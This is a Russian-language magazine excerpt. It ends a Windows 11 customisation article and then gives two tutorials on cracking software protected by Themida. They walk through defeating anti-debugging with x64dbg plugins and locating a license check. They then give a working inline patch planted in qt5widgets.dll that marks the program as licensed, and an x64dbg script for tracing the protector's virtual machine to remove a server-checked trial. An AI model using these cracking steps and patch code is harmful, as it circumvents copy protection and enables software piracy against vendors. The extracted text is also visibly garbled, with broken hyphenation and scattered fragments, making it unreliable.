Program\KernelCeipTask

•

\Microsoft\Windows\Customer Experience Improvement Program\UsbCeip•
\Microsoft\Windows\Customer Experience Improvement Program\Uploader•
\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-
DiskDiagnosticDataCollector

•

\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-
DiskDiagnosticResolver

•

\Microsoft\Windows\DiskFootprint\Diagnostics•
\Microsoft\Windows\FileHistory\File History (maintenance mode)•
\Microsoft\Windows\Maintenance\WinSAT•
\Microsoft\Windows\NetTrace\GatherNetworkInfo•
\Microsoft\Windows\PI\Sqm-Tasks•
\Microsoft\Windows\Power Efficiency Diagnostics\AnalyzeSystem•
\Microsoft\Windows\Shell\FamilySafetyMonitor•
\Microsoft\Windows\Shell\FamilySafetyRefresh•
\Microsoft\Windows\Shell\FamilySafetyUpload•
\Microsoft\Windows\Windows Error Reporting\QueueReporting•

От клю чи ненуж ную задачу коман дой , где  —

соот ветс тву ющая задача из спис ка выше.

schtasks /end /tn "task" task

ÏÎËÓ×ÀÅÌ ÄÎÑÒÓÏ ÊÎ ÂÑÅÌ ÍÀÑÒÐÎÉÊÀÌ ÑÈÑÒÅÌÛ

Что бы получить быс трый и удоб ный дос туп ко всем нас трой кам Windows 11,
соз дай на рабочем сто ле новую пап ку со сле дующим име нем:

НастройкиСистемы.{ED7BA470-8E54-465E-825C-99712043E01C}

От крыв пап ку, ты уви дишь окно, где соб раны все основные нас трой ки
Windows, даже те, до которых в обыч ных усло виях не так-то прос то доб рать ся.

По луча ем дос туп ко всем нас трой кам сис темы

ÇÀÊËÞ×ÅÍÈÅ

Microsoft Windows 11 — еще очень молодая опе раци онная сис тема, весь
спектр воз можнос тей которой до кон ца пока не изу чен. Тем не менее она
заво евы вает все боль шую популяр ность у поль зовате лей, а со вре менем,
ког да срок под дер жки кон куриру ющих вер сий Windows подой дет к кон цу,
навер няка вытес нит их. Мы выяс нили, как нас тро ить интерфейс Windows
11 таким обра зом, что бы он был боль ше похож на при выч ную нам Windows 10.
В сле дующий раз погово рим о нас трой ках, которые поз волят уве личить быс- 
тро дей ствие новой вин ды на ста рых машинах со сла бой аппа рат ной кон- 
фигура цией.

mailto:valentin@holmogorov.ru
https://github.com/valinet/ExplorerPatcher
http://www.classicshell.net/
https://github.com/Open-Shell/Open-Shell-Menu/releases
https://www.stardock.com/products/start11/
https://ramensoftware.com/7-taskbar-tweaker
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Themida, или «Фемида», — одна из самых наворо чен ных
защит для соф та. Вмес те с VMProtect ее отно сят к нас толь ко
суровым про тек торам, что прог раммис ты, которым жаль
денег на чес тную покуп ку этих инс тру мен тов (а сто ят они
недеше во), прос то ими тиру ют их наличие, что отпу гива ет
ленивых и неопыт ных хакеров. Сегод ня мы погово рим о том,
как сбро сить три ал при ложе ния, защищен ного нас тоящей
Themida.

WARNING

Статья написа на в иссле дова тель ских целях, име- 
ет озна коми тель ный харак тер и пред назна чена
для спе циалис тов по безопас ности. Автор
и редак ция не несут ответс твен ности за любой
вред, при чинен ный с при мене нием изло жен ной
информа ции. Исполь зование или рас простра- 
нение ПО без лицен зии про изво дите ля может
прес ледовать ся по закону.

Нес мотря на широкую популяр ность Themida, высокую сто имость взло ма и,
соот ветс твен но, боль шое количес тво ману алов и виде оуро ков в сети, они
поч ти всег да бес полез ны. Они в основном опи сыва ют сня тие ста рых вер сий
защиты 1 и 2. Уже третья вер сия устро ена нас толь ко слож нее, что в паб лике
нет уни вер саль ных инс тру мен тов и скрип тов для ее взло ма или обхо да.
И даже на ста рых вер сиях всег да находят ся какие-то нюан сы, исклю чающие
воз можность уни вер саль ного однокно поч ного решения.

По это му я не буду оста нав ливать ся сей час на «тра дици онных» спо собах
обхо да «Фемиды», а вмес то это го опи шу наибо лее прос той и понят ный метод
иссле дова ния, взло ма и пат ча одно го из защищен ных гра фичес ких при ложе- 
ний. Эта прог рамма исполь зует Themida треть ей вер сии, а мы, как обыч но,
воору жим ся лишь минималь ным набором дос тупных инс тру мен тов (x64dbg
и его пла гины).

Нуж но заметить, что для обна руже ния Themida не сле дует силь но
полагать ся на Detect It Easy. С этим про тек тором гораз до луч ше работа ют
Nauz File Detector и Exeinfo.

Nauz File Detector

Exeinfo

Ви зуаль но же на при сутс твие «Фемиды» в фай ле как бы намека ет наличие
меж ду сек циями  и  двух сек ций с неп роиз носимы ми наз вани- 

ями из вось ми слу чай ных сим волов. Впро чем, в треть ей вер сии раз работ чики
уже не стес няясь пря мо называ ют сек ции  и . Код гаран- 

тирован но зашиф рован, упа кован и ста тичес кому ана лизу и ревер су не под- 
дает ся.

.idata .pdata

.themida .boot

По это му поп робу ем заг рузить нак рытую Themida прог рамму в наш
любимый отладчик x64dbg. Разуме ется, все пло хо: при стар те отладчик про- 
вали вает ся в вир туаль ную машину, столь страш ную на вид, что отби вает ся
вся кая охо та с ней раз бирать ся. Хотя в отдель ных слу чаях это го не избе- 
жать — ска жем, при при вяз ке кон крет ной прог раммы к компь юте ру или дон- 
глу. В любом слу чае этот путь неп рост и тер нист: вир туаль ная прог рамма
мгно вен но палит отладчик, вдо бавок она отсле жива ет тай минг про хож дения
отдель ных учас тков сво его кода.

С ходу при атта чить ся к уже активно му про цес су тоже нель зя, раз работ чики
и это пре дус мотре ли. Поп робу ем сде лать чуть хит рее — воз можно, по прош- 
лым стать ям ты пом нишь замеча тель ный анти анти отла доч ный пла гин
ScyllaHide для x64dbg. В этом пла гине спе циаль но для ленивых уже под готов- 
лены про фили под каж дую популяр ную защиту. Конеч но же, подоб ный про- 
филь там есть и для Themida. Прав да, не шиб ко силь но он нам поможет:
при заг рузке прог раммы он не спа сает от анти отладчи ка, одна ко при атта- 
чить ся к запущен ному при ложе нию уже поз воля ет.

Тол ку, прав да, с это го нем ного: пос ле такого бря ка трас сиров ка уби вает
прог рамму наповал. Но это уже прог ресс — далее по стан дар тной схе ме,
опро бован ной нами ранее на Enigma, Obsidium и про чих, про буем сдам пить
прер ванный про цесс при помощи дру гого спе циаль но пред назна чен ного
для это го пла гина — Scylla.

При ложе ние дам пится успешно. Как обыч но, надо искать точ ку вхо да, и во
мно гих слу чаях это го впол не дос таточ но, одна ко наш слу чай неп ростой. Заг- 
рузив сдам плен ный файл в IDA, мы обна ружи ваем, что наше при ложе ние неп- 
лохо обфусци рова но: на боль шинс тве вызовов импорти руемых фун кций (в
час тнос ти, на биб лиотеч ных вызовах Qt, на котором написа на ана лизи руемая
нами прог рамма) сто ят заг лушки, ведущие на изрядной дли ны цепоч ки
безум ного кода подоб ного вида:

     00007FF6F4FA521D | E9 DB2F5F00              | jmp 7FF6F55981FD
     00007FF6F4FA5222 | E9 E5E31D00              | jmp 7FF6F518360C
     00007FF6F4FA5227 | E9 25064500              | jmp 7FF6F53F5851
     00007FF6F4FA522C | E9 375E5900              | jmp 7FF6F553B068
     00007FF6F4FA5231 | 73 D5                    | jae 7FF6F4FA5208
   00007FF6F4FA5233 | CF                       | iretd
      00007FF6F4FA5234 | 0026                     | add byte ptr ds:[rsi],

ah
    00007FF6F4FA5236 | 49:89ED                  | mov r13,rbp

...
     00007FF6F55981FD | 48:83EC 08               | sub rsp,8
     00007FF6F5598201 | E9 E6DB0200              | jmp 7FF6F55C5DEC

...
     00007FF6F55C5DEC | 48:83EC 08               | sub rsp,8
     00007FF6F55C5DF0 | 48:83EC 08               | sub rsp,8
     00007FF6F55C5DF4 | 48:81EC 08000000         | sub rsp,8
      00007FF6F55C5DFB | 48:891C24                | mov qword ptr ss:[rsp],

rbx
      00007FF6F55C5DFF | 8F0424                   | pop qword ptr ss:[rsp]
      00007FF6F55C5E02 | 8F0424                   | pop qword ptr ss:[rsp]
     00007FF6F55C5E05 | E9 83000100              | jmp 7FF6F55D5E8D

...

По-хороше му надо бы отфиль тро вать все адре са подоб ного импорта
и написать деоб фуска тор, но, учи тывая их количес тво, задача выг лядит
мутор ной, а я обе щал отно ситель но прос той и ком фор тный путь (нас коль ко
это воз можно вооб ще в слу чае столь серь езной защиты). Поэто му самое
вре мя прис тупить к ана лизу логики прог раммы в про цес се ее работы, то есть
изыс кать воз можность для ее трас сиров ки.

По счастью, умные люди уже под суети лись и соз дали для нас чудес ный
пла гин Themidie, который поз воля ет бес проб лемно трас сировать при атта- 
чен ный про цесс под Themida. Для его исполь зования необ ходимы пос ледние
вер сии отладчи ка x64dbg и пла гина ScyllaHide, про которые я писал выше.
Заг рузи  пос леднюю вер сию Themidie и извле ки 

и  в пап ку пла гинов x64dbg. В ито ге там дол жны обя затель но

при сутс тво вать четыре фай ла: , ,
 и .

с GitHub Themidie.dll
Themidie.dp64

Themidie.dll Themidie.dp64
HookLibraryx64.dll ScyllaHideX64DBGPlugin.dp64

Заг ружа ем x64dbg и с чувс твом пол ного удов летво рения обна ружи ваем
в под меню Plugins (Модули) допол нитель ный пункт Themidie. В опци ях
ScyllaHide отклю чаем все, кро ме чек бокса Kill Anti-Attach.

Нас трой ка пла гина Themidie

За пус каем иссле дуемую прог рамму из под меню Plugins → Themidie → Start.
Если мы все сде лали пра виль но, то дол жно появить ся вот такое окно.

За пуск прог раммы в отладчи ке

Как сле дует из тек ста в этом окош ке, прог рамма при запус ке не заг ружа ется
сра зу в отладчик (более того, ее и при всем желании при нуди тель но заг- 
рузить не получит ся — Themida спа лит наш отладчик при заг рузке даже так).
Одна ко к запущен ной столь хит рым обра зом прог рамме мож но при атта чить- 
ся, пос ле чего спо кой но ста вить бря ки и отла живать код, не боясь анти- 
отладчи ка, что нам, собс твен но и тре бова лось. Теперь, не испы тывая
ни малей ших пре пятс твий, обна ружи ваем в необ фусци рован ной час ти кода
раз вилку обхо да про вер ки лицен зии:

    00007FF630D5C10F                 call sub_7FF630D5D970
      00007FF630D5C114                 mov rdx, [rax]
      00007FF630D5C117                 mov rcx, rax
      00007FF630D5C11A                 call qword ptr [rdx+8]
     00007FF630D5C11D                 test al, al

00007FF630D5C11F                 jz      loc_7FF630D5CEE4
      00007FF630D5C125                 lea rcx, [rsp+0EA8h+var_810]
    00007FF630D5C12D                 call sub_7FF631797E20

      00007FF630D5C132                 xor bl, bl

Ес ли бы на при ложе нии не было навеше но «Фемиды», мож но было бы пить
шам пан ское: делов-то — поп равить пару бай тиков условно го перехо да .

Но тут начина ется самое инте рес ное. Исходный код у нас зашиф рован и упа- 
кован, ревер сить вир туаль ную машину Themida, как мы уже успе ли убе дить- 
ся, — вещь дос таточ но тру доем кая. При чесать и деоб фусци ровать сдам плен- 
ный чуть рань ше код, конеч но, чуть лег че, но все рав но задача выг лядит весь- 
ма неп ростой.

je

Са мым лег ким вари антом кажет ся исполь зование лоаде ра
или инлайн-пат ча. Что бы не кодить лоадер, поп робу ем вто рой вари ант. Суть
в том, что если нель зя про пат чить код самого защищен ного при ложе ния, то
мож но поп робовать сде лать это из какой-нибудь незащи щен ной внеш ней
биб лиоте ки, бла го Qt-шных либ рядом с прог раммой валя ется в изо билии,
и кон тро ля целос тнос ти на них нет. Слег ка поковы ряв код, обна ружи ваем
бли жай ший к нашей раз вилке обфусци рован ный вызов фун кции 

 биб лиоте ки .

bool 
__cdecl QWidget::isVisible(void) qt5widgets.dll

    00007FF6EE96BDAE | 49:8BCF                  | mov rcx,r15
       00007FF6EE96BDB1 | FF15 B1B75401            | call qword ptr ds:[7

FF6EFEB7568]
    00007FF6EE96BDB7 | 84C0                     | test al,al
     00007FF6EE96BDB9 | 0F85 EB020000            | jne 7FF6EE96C0AA
       00007FF6EE96BDBF | 48:8D8C24 20090000       | lea rcx,qword ptr ss:[

rsp+920]

Пос ле про хож дения всей пос ледова тель нос ти обфусци рован ного кода вызов
упи рает ся в коротень кую реали зацию дан ной фун кции внут ри 

, ее код мы и будем исполь зовать для авто пат ча основной прог раммы:

qt5widgets.
dll

   mov rax,qword ptr ds:[rcx+28]
   mov eax,dword ptr ds:[rax+8]
 shr eax,F
 and al,1

ret

Сле дующая слож ность зак люча ется в том, что мы не можем так прос то взять
и поп равить код исполня емо го про цес са из него же. Зна чит, надо искать
перемен ные в сек ции дан ных, прав ка которых дала бы тот же эффект. Итак,
нам надо добить ся, что бы вызов метода

      00007FF630D5C11A                 call qword ptr [rdx+8]

воз вра щал в  ненуле вое зна чение. Еще нем ного покопав шись в отладчи ке,

прев раща ем дан ный метод вот в такую пос ледова тель ность дей ствий:

AL

   mov rcx,qword ptr ds:[7FF6F47F6EF8]
   mov rcx,qword ptr ds:[rcx+10]

   movzx eax,byte ptr ds:[rcx+A1E]

Это озна чает, что для того, что бы прог рамма почувс тво вала себя лицен зион- 
ной, нуж но уста новить по адре су  любое

ненуле вое зна чение бай та (нап ример, 1). Алго ритм наших дей ствий таков:

[[[7FF6F47F6EF8]+10]+A1E]

1. Вы пол няем исходный код метода 
. Резуль тат в регис тре , регистр  прог рамме уже

не инте ресен, его мож но исполь зовать в сво их целях, что мы и сде лаем.

bool __cdecl QWidget::
isVisible(void) AL RCX

2. Про верим, из нуж ного ли мес та был выз ван метод . Пос коль ку
сек ция кода садит ся каж дый раз на раз ные адре са, самое прос тое
и более-менее надеж ное — про верять пос ледние нес коль ко бай тов адре- 
са (нап ример, 16 бит). Иско мый адрес вызова дол жен быть

.

isVisible

????????????BDB7
3. Ад рес вызова мы так же исполь зуем для отно ситель ной адре сации

перемен ной . Нес ложно пос читать, что сме щение меж ду
ее адре сом и адре сом вызова рав но .

[7FF6F47F6EF8]
0x5AAB44C

4. На вся кий слу чай про веря ем зна чение этой перемен ной (на момент
вызова нашего  она зап росто может быть еще не ини циали- 
зиро вана) и уста нав лива ем зна чение  в 1.

isVisible
[[[7FF6F47F6EF8]+10]+A1E]

Те перь, ког да алго ритм понятен, ищем в коде биб лиоте ки 

бли жай ший пус той кусок дос таточ ной дли ны и уста нав лива ем обра бот чик
 на него. Поп равлен ный и допол ненный код  выг лядит

так:

qt5widgets.dll

isVisible isVisible

       00007FFDB8EFF04F | 48:8B41 28               | mov rax,qword ptr ds:[
rcx+28]

       00007FFDB8EFF053 | 8B40 08                  | mov eax,dword ptr ds:[
rax+8]

     00007FFDB8EFF056 | C1E8 0F                  | shr eax,F
            

 
00007FFDB8EFF059 | 24 01                    | and al,1 <- В AL
результат isVisible

      
     

00007FFDB8EFF05B | 48:8B0C24                | mov rcx,qword ptr ss:[
rsp] <- Адрес вызова, точнее, возврата

        
    

00007FFDB8EFF05F | 81E1 FFFF0000            | and ecx,FFFF <- Берем
от него младшие 16 бит...

        
   

00007FFDB8EFF066 | 48:81F9 B7BD0000         | cmp rcx,BDB7 <- И
проверяем их на ????????????BDB7

     00007FFDB8EFF06D | 74 01                    | je qt5widgets.
7FFDB8EFF070

     
          

00007FFDB8EFF06F | C3                       | ret          <- Если
вызов не оттуда то ничего не делаем и просто возвращаем AL

      
     

00007FFDB8EFF070 | 48:8B0C24                | mov rcx,qword ptr ss:[
rsp] <- Адрес вызова, точнее, возврата

        
  

00007FFDB8EFF074 | 48:81C1 41B1E805         | add rcx,5E8B141 <- В
rcx адрес [7FF6F47F6EF8]

      00007FFDB8EFF07B | 48:8B09                  | mov rcx,qword ptr ds:[
rcx]

    00007FFDB8EFF07E | 48:85C9                  | test rcx,rcx
     

        
  

00007FFDB8EFF081 | 74 EC                    | je qt5widgets.
7FFDB8EFF06F <- Если [7FF6F47F6EF8] не инициализирована, то тоже
ничего не делаем

       00007FFDB8EFF083 | 48:8B49 10               | mov rcx,qword ptr ds:[
rcx+10]

        
       

00007FFDB8EFF087 | C681 1E0A0000 01         | mov byte ptr ds:[rcx+
A1E],1 <- Устанавливаем признак лицензированности и возвращаем AL

   00007FFDB8EFF08E | C3                       | ret

Все это кажет ся каким-то извра щени ем, но это работа ет: внеш няя стан дар- 
тная биб лиоте ка Qt при обра щении к ней из нуж ного мес та дела ет нак рытую
Themida прог рамму «лицен зион ной», даже не модифи цируя ее код.

Я, конеч но, не пре тен дую на чис тоту, пра виль ность и надеж ность при- 
веден ного выше кода, но, на мой взгляд, это самый прос той и быс трый прин- 
цип авто пат ча, при год ный для обхо да не толь ко Themida, но и любой дру гой
серь езной защиты, шиф рующей код и про веря ющей его целос тность.

https://github.com/VenTaz/Themidie
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Themida счи тает ся одним из самых слож ных
инс тру мен тов защиты прог рамм
от нелицен зион ного копиро вания —
не толь ко из-за обфуска ции и наворо чен- 
ных механиз мов анти отладки, но и из-за
широко го исполь зования вир туали зации.
В  мы узна ли, как сбро- 
сить три ал в защищен ной Themida прог- 
рамме. Теперь нас тало вре мя поковы рять- 
ся в ее вир туаль ной машине.

пре дыду щей статье

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

В  я уже упо минал об одной очень злов редной осо бен ности
серь езных про тек торов: что бы осложнить жизнь хакерам, раз работ чики
обфусци руют кри тичес кие учас тки ском пилиро ван ного кода в мак рокоман ды
вир туаль ной машины, щед ро раз бавлен ные ловуш ками и безум ным кодом.
При таком рас кла де объ ем кода может уве личи вать ся в тысячи раз, делая
реверс чудовищ но слож ным. Вдо бавок его мож но делать мутиру ющим,
реали зуя одну и ту же коман ду сот нями раз ных спо собов. Мы уже стал- 
кивались с подоб ным в статье про Enigma, теперь поп робу ем разоб рать
более слож ный спо соб вир туали зации на при мере сня тия три ала с одно го
из гра фичес ких пла гинов.

прош лых стать ях

Итак, усло вия задачи: у нас есть 64-бит ная биб лиоте ка, при вязан ная
к опре делен ному озна коми тель ному пери оду. Халяв ный сброс три ала,
методы которо го я опи сывал в пре дыду щих стать ях, невоз можен: при заг- 
рузке биб лиоте ка сту чит ся на сер вер, который про веря ет текущую дату и дает
доб ро на запуск. При отсутс твии соеди нения прог рамма прос то не работа ет.
Код упа кован и зашиф рован, иссле дова нию в дизас сем бле ре не под лежит,
но детек торы не видят на нем никако го извес тно го про тек тора. В общем,
ситу ация начина ет слег ка пугать.

Но мы не из пуг ливых! Заг ружа ем прог рамму в наш любимый отладчик
x64dbg и при помощи опи сан ного мною в пре дыду щих стать ях замеча тель- 
ного пла гина ScyllaHide под бира ем анти анти отла доч ную кон фигура цию
(Themida). Теперь вклю чаем уже опро бован ный нами в боях пла гин Themidie
и наконец получа ем воз можность поковы рять ся в рас шифро ван ном и рас- 
пакован ном коде (вклю чая его трас сиров ку). Что бы рас шифро ван ный код
было удоб нее изу чать, я сдам пил его еще одним опи сан ным ранее пла- 
гином — Scylla. Если теперь мы заг рузим сдам плен ный код в дизас сем блер
IDA, то уви дим при мер но такую кар тину.

Cдам плен ный код в дизас сем бле ре IDA

Бег ло взгля нув на кар ту нашего модуля, мы уви дим коротень кую синюю
полос ку сле ва. Она под ска зыва ет, что в начале модуля сос редото чен нор- 
маль ный вме няемый код фун кций, который по каким-то при чинам (обыч но
ско рость исполне ния) не под вер гся вир туали зации. Пес трая полос ка с пре- 
обла дани ем корич невого цве та спра ва — шитый код вир туаль ной машины
Themida, переме жающий ся обра бот чиками команд.

Поб родив нем ного отладчи ком по деб рям кода и слег ка расс тро ившись,
перехо дим к более прог рессив ному методу работы. Поп робу ем отсле дить
и про ана лизи ровать трас су меж ду вызыва емы ми невир туали зиро ван ными
фун кци ями. В качес тве отправ ного пун кта берем фун кцию HTTP-зап роса
лицен зии на сер вер, бла го она по понят ным при чинам не обфусци рова на.
Ста вим на нее точ ку оста нова и при ее дос тижении жмем Ctrl-F9, выпол няя
фун кцию до воз вра та в обра бот чик шитого кода, из которо го она вызыва ется.

На вхо де обна ружи ваем такой огромный кусок бес смыс ленных команд, что
его бес полез но пытать ся прой ти вруч ную. Воз ложим эту тяж кую задачу
на отладчик. Для это го откро ем вклад ку «Трас сиров ка» (край няя спра ва)
и пра вой кноп кой мыши выберем «Начать выпол нение трас сиров ки». Затем
для быс тро ты запус каем трас сиров ку через Ctrl-Alt-F8 (трас сиров ка с обхо- 
дом). Памятуя о том, что невир туали зиро ван ный код находит ся в сек ции
с мень шими адре сами, в качес тве усло вия оста нов ки ста вим  до начала

сек ции, содер жащей вир туали зиро ван ный код.

RIP

Ста вим RIP до начала сек ции, содер жащей вир туали зиро ван ный код

В окне трас сиров ки шус тро побежа ли исполня емые коман ды, а вот и оста- 
нов ка на сле дующем вызове какой-то фун кции. Ого, нам пот ребова лась пара
десят ков тысяч шагов, что бы пре одо леть про межу ток меж ду ними! Это нас
не пуга ет: поп робу ем про ана лизи ровать получен ную трас су.

Для начала нас инте ресу ет, каким обра зом реали зова на псев докоман да
вызова невир туали зиро ван ной фун кции. В самом кон це трас сы находим
такой учас ток кода, соот ветс тву юще го обра бот чику вызова фун кции и коду
перехо да на него от обра бот чика пре дыду щей псев докоман ды. Поп робу ем
по нему понять прин цип дей ствия вир туаль ной машины:

      
      

33DC | 00007FFD071D113F | 48:89EF                  | mov rdi,rbp
              <--- RBP указывает на текущий фрейм кода

       33DD | 00007FFD071D1142 | 48:81C7 36010000         | add rdi,136
        33DE | 00007FFD071D1149 | 0907                     | or dword ptr ds:

[rdi],eax
           
       

33DF | 00007FFD071D114B | 48:25 FFFF0000           | and rax,FFFF
<--- RAX 16-битный параметр текущей команды, представляющий собой

       
      

   

33E0 | 00007FFD071D1151 | 48:C1E0 03               | shl rax,3
                  <--- индекс в таблице 64-битных адресов
обработчиков команд шитого кода

      
      

33E1 | 00007FFD071D1155 | 48:01C2                  | add rdx,rax
              <--- базовый адрес, на который в RDX

        
         
    

33E2 | 00007FFD071D1158 | 4C:8B02                  | mov r8,qword ptr
ds:[rdx] <--- Элемент по этому индексу указывает на обработчик
следующей команды, то есть 7FFD07011D20

      33E3 | 00007FFD071D115B | 48:89EB                  | mov rbx,rbp
       33E4 | 00007FFD071D115E | 48:81C3 EB000000         | add rbx,EB
         

           
        

33E5 | 00007FFD071D1165 | 48:8103 22000000         | add qword ptr ds
:[rbx],22 <--- [RBP+EB] указатель на текущую команду шитого кода, ее
размер был 22h байта, сдвинуть его на следующую команду

        
     

33E6 | 00007FFD071D116C | 41:FFE0                  | jmp r8 <---
после чего перейти на ее обработчик

       33E7 | 00007FFD07011D20 | 48:C7C2 00000000         | mov rdx,0
      33E8 | 00007FFD07011D27 | 49:89E8                  | mov r8,rbp
       33E9 | 00007FFD07011D2A | 49:81C0 EB000000         | add r8,EB
        

        
33EA | 00007FFD07011D31 | 4D:8B00                  | mov r8,qword ptr
ds:[r8] <--- R8=[RBP+EB] указатель на новую команду шитого кода

       33EB | 00007FFD07011D34 | 49:81C0 06000000         | add r8,6
       

           
33EC | 00007FFD07011D3B | 41:8B10                  | mov edx,dword
ptr ds:[r8] <--- В RDX 32-битный параметр псевдокоманды по смещению 6
байт

      33ED | 00007FFD07011D3E | 48:89E9                  | mov rcx,rbp
         

    
33EE | 00007FFD07011D41 | 48:81C1 01000000         | add rcx,1 <--- [
RBP+1] <--- Базовый адрес модуля

       
           

 

33EF | 00007FFD07011D48 | 48:0311                  | add rdx,qword
ptr ds:[rcx] <--- Их сумма дает абсолютный адрес вызываемой функции
в RDX

       33F0 | 00007FFD07011D4B | 49:C7C6 00000000         | mov r14,0
      33F1 | 00007FFD07011D52 | 49:89E8                  | mov r8,rbp
       33F2 | 00007FFD07011D55 | 49:81C0 EB000000         | add r8,EB
        

        
33F3 | 00007FFD07011D5C | 4D:8B00                  | mov r8,qword ptr
ds:[r8] <--- R8=[RBP+EB] указатель на текущую команду шитого кода

       33F4 | 00007FFD07011D5F | 49:81C0 04000000         | add r8,4
       

           
33F5 | 00007FFD07011D66 | 6645:8B30                | mov r14w,word
ptr ds:[r8] <--- В R14 16-битный параметр псевдокоманды по смещению 4
байта

        
         

33F6 | 00007FFD07011D6A | 49:01E6                  | add r14,rsp <
--- Это размер зарезервированного места в стеке под сохраненные
регистры

        
        

33F7 | 00007FFD07011D6D | 49:8916                  | mov qword ptr ds
:[r14],rdx <--- Адрес вызываемой функции на стек для перехода

         
       

33F8 | 00007FFD07011D70 | 49:81C6 08000000         | add r14,8 <---
Место в стеке для адреса возврата из нее

       33F9 | 00007FFD07011D77 | 48:C7C2 00000000         | mov rdx,0
      33FA | 00007FFD07011D7E | 49:89E8                  | mov r8,rbp
       33FB | 00007FFD07011D81 | 49:81C0 EB000000         | add r8,EB
        

        
33FC | 00007FFD07011D88 | 4D:8B00                  | mov r8,qword ptr
ds:[r8] <--- R8=[RBP+EB] указатель на текущую команду шитого кода

       33FD | 00007FFD07011D8B | 49:81C0 00000000         | add r8,0
       

           
33FE | 00007FFD07011D92 | 41:8B10                  | mov edx,dword
ptr ds:[r8] <--- В RDX 32-битный параметр псевдокоманды по смещению 0
байт

      33FF | 00007FFD07011D95 | 48:89E8                  | mov rax,rbp
                            |

       3400 | 00007FFD07011D98 | 48:05 01000000           | add rax,1
                              |

       
            

3401 | 00007FFD07011D9E | 48:0310                  | add rdx,qword
ptr ds:[rax] <--- [RBP+1] — базовый адрес модуля, их сумма дает

        
         

3402 | 00007FFD07011DA1 | 49:8916                  | mov qword ptr ds
:[r14],rdx <--- адрес возврата из вызываемой функции на стек

      3403 | 00007FFD07011DA4 | 48:89EB                  | mov rbx,rbp
       3404 | 00007FFD07011DA7 | 48:81C3 7F000000         | add rbx,7F
         

       
3405 | 00007FFD07011DAE | C703 00000000            | mov dword ptr ds
:[rbx],0 <--- По всей видимости, [RBP+7F] флаг реентерабельности?

      3406 | 00007FFD07011DB4 | 41:58                    | pop r8
      3407 | 00007FFD07011DB6 | 41:59                    | pop r9
      3408 | 00007FFD07011DB8 | 41:5A                    | pop r10
      3409 | 00007FFD07011DBA | 41:5B                    | pop r11
      340A | 00007FFD07011DBC | 41:5C                    | pop r12
      340B | 00007FFD07011DBE | 41:5D                    | pop r13
      340C | 00007FFD07011DC0 | 41:5E                    | pop r14
      340D | 00007FFD07011DC2 | 41:5F                    | pop r15
      340E | 00007FFD07011DC4 | 5F                       | pop rdi
      340F | 00007FFD07011DC5 | 5E                       | pop rsi
      3410 | 00007FFD07011DC6 | 5D                       | pop rbp
      3411 | 00007FFD07011DC7 | 5B                       | pop rbx
      3412 | 00007FFD07011DC8 | 5A                       | pop rdx
      3413 | 00007FFD07011DC9 | 59                       | pop rcx
      3414 | 00007FFD07011DCA | 58                       | pop rax
     3415 | 00007FFD07011DCB | 9D                       | popfq
          

   
3416 | 00007FFD07011DCC | C2 0000                  | ret 0 <---
Перейти к вызываемой функции

Итак, мы при мер но разоб рали одну (из нес коль ких тысяч) коман ду шитого
кода Themida — вызов невир туали зиро ван ной фун кции. Выг лядит она при- 
мер но так.

Вы зов невир туали зиро ван ной фун кции

Что же делать даль ше? По-хороше му надо прой тись по таб лице адре сов
обра бот чиков вир туаль ных команд, бла го она у нас есть, разоб рать ся, что
дела ет каж дая из них, и «рас пря мить» наш безум ный код. Одна ко это путь
не из при ятных: команд ну очень мно го, при чем они мутиру ют, то есть одна
и та же коман да может при сутс тво вать в раз ных вари ациях.

Воз можно, пос ле все го опи сан ного тебя уже не силь но напуга ет то, что
в одном исполня емом фай ле может исполь зовать ся даже нес коль ко раз ных
мутиро вав ших вир туаль ных машин (раз ные сис темы команд с перес тавлен- 
ными парамет рами, дли нами и так далее). Поэто му для начала поп робу ем
най ти более корот кий путь. Пос коль ку трас са даже меж ду дву мя сосед ними
вызова ми фун кций получа ется чудовищ но длин ной, попыта емся залоги ровать
хотя бы сами эти вызовы. Обра ти вни мание, что регис тры для сов мести мос ти
вро де как сох раня ются в одном поряд ке, поэто му поищем код их сох ранения
( ). Наш лось при мер но две сот ни мутиро ван ных обра- 

бот чиков вызова невир туали зиро ван ных фун кций. Но рас став лять руками точ- 
ки оста нова на них очень мутор но, поэто му пишем сле дующий скрипт:

41 58 41 59 41 5A...

  findallmem 0,
"41584159415A415B415C415D415E415F5F5E5D5B5A59589DC20000"

 mov i,0
loop:

  cmp i, $result
 je continue

 bp ref.addr(i)+18
  bpcnd ref.addr(i)+18, 0

    
     

bpl ref.addr(i)+18, "called from: "{rip}" called: "{[rsp]}" return to
: "{[rsp+8]}" rsp: "{rsp}" PC: "{[mem.base(rip)+128EDDC+EB]}"

 inc i
 jmp loop

continue:

То есть мы ищем все мес та в коде, где есть такая пос ледова тель ность вос- 
ста нов ления регис тров, и ста вим на нее условную точ ку оста нова, логиру- 
ющую текущее сос тояние вир туаль ной машины. Вол шебное чис ло 

получе но эмпи ричес ки как сме щение текуще го фрей ма отно ситель но базы
модуля, а вол шебное чис ло  — как сме щение до прог рам мно го счет чика

вир туаль ной машины из при веден ного выше фраг мента кода. Пос ле отра бот- 
ки скрип та получа ем две сот ни условных точек оста нова, которые пишут в лог
трас су вызовов при мер но в таком виде:

128EDDC

EB

called from: 7FFD069D8E12 called: 7FFD158B6D30 return to: 
7FFD06B8067F rsp: 6B694FA710 PC: 7FFD06AE481F 
called from: 7FFD069D8E12 called: 7FFD158B6DB0 return to: 
7FFD06B807E5 rsp: 6B694FA710 PC: 7FFD06AE4A3C 
called from: 7FFD06A8ACB5 called: 7FFD0507CB40 return to: 
7FFD06B8094D rsp: 6B694FA710 PC: 7FFD06AE4BC3 
called from: 7FFD069D8E12 called: 7FFD158B6EC0 return to: 
7FFD06B80A70 rsp: 6B694FA710 PC: 7FFD06AE4DA6 
called from: 7FFD0698CFB6 called: 7FFD158B6D30 return to: 
7FFD06B80BC8 rsp: 6B694FA710 PC: 7FFD06AE506B 
called from: 7FFD069E6E0F called: 7FFD158B6DB0 return to: 
7FFD06B80D0C rsp: 6B694FA710 PC: 7FFD06AE5294 
called from: 7FFD06A146C8 called: 7FFD0507CB60 return to: 
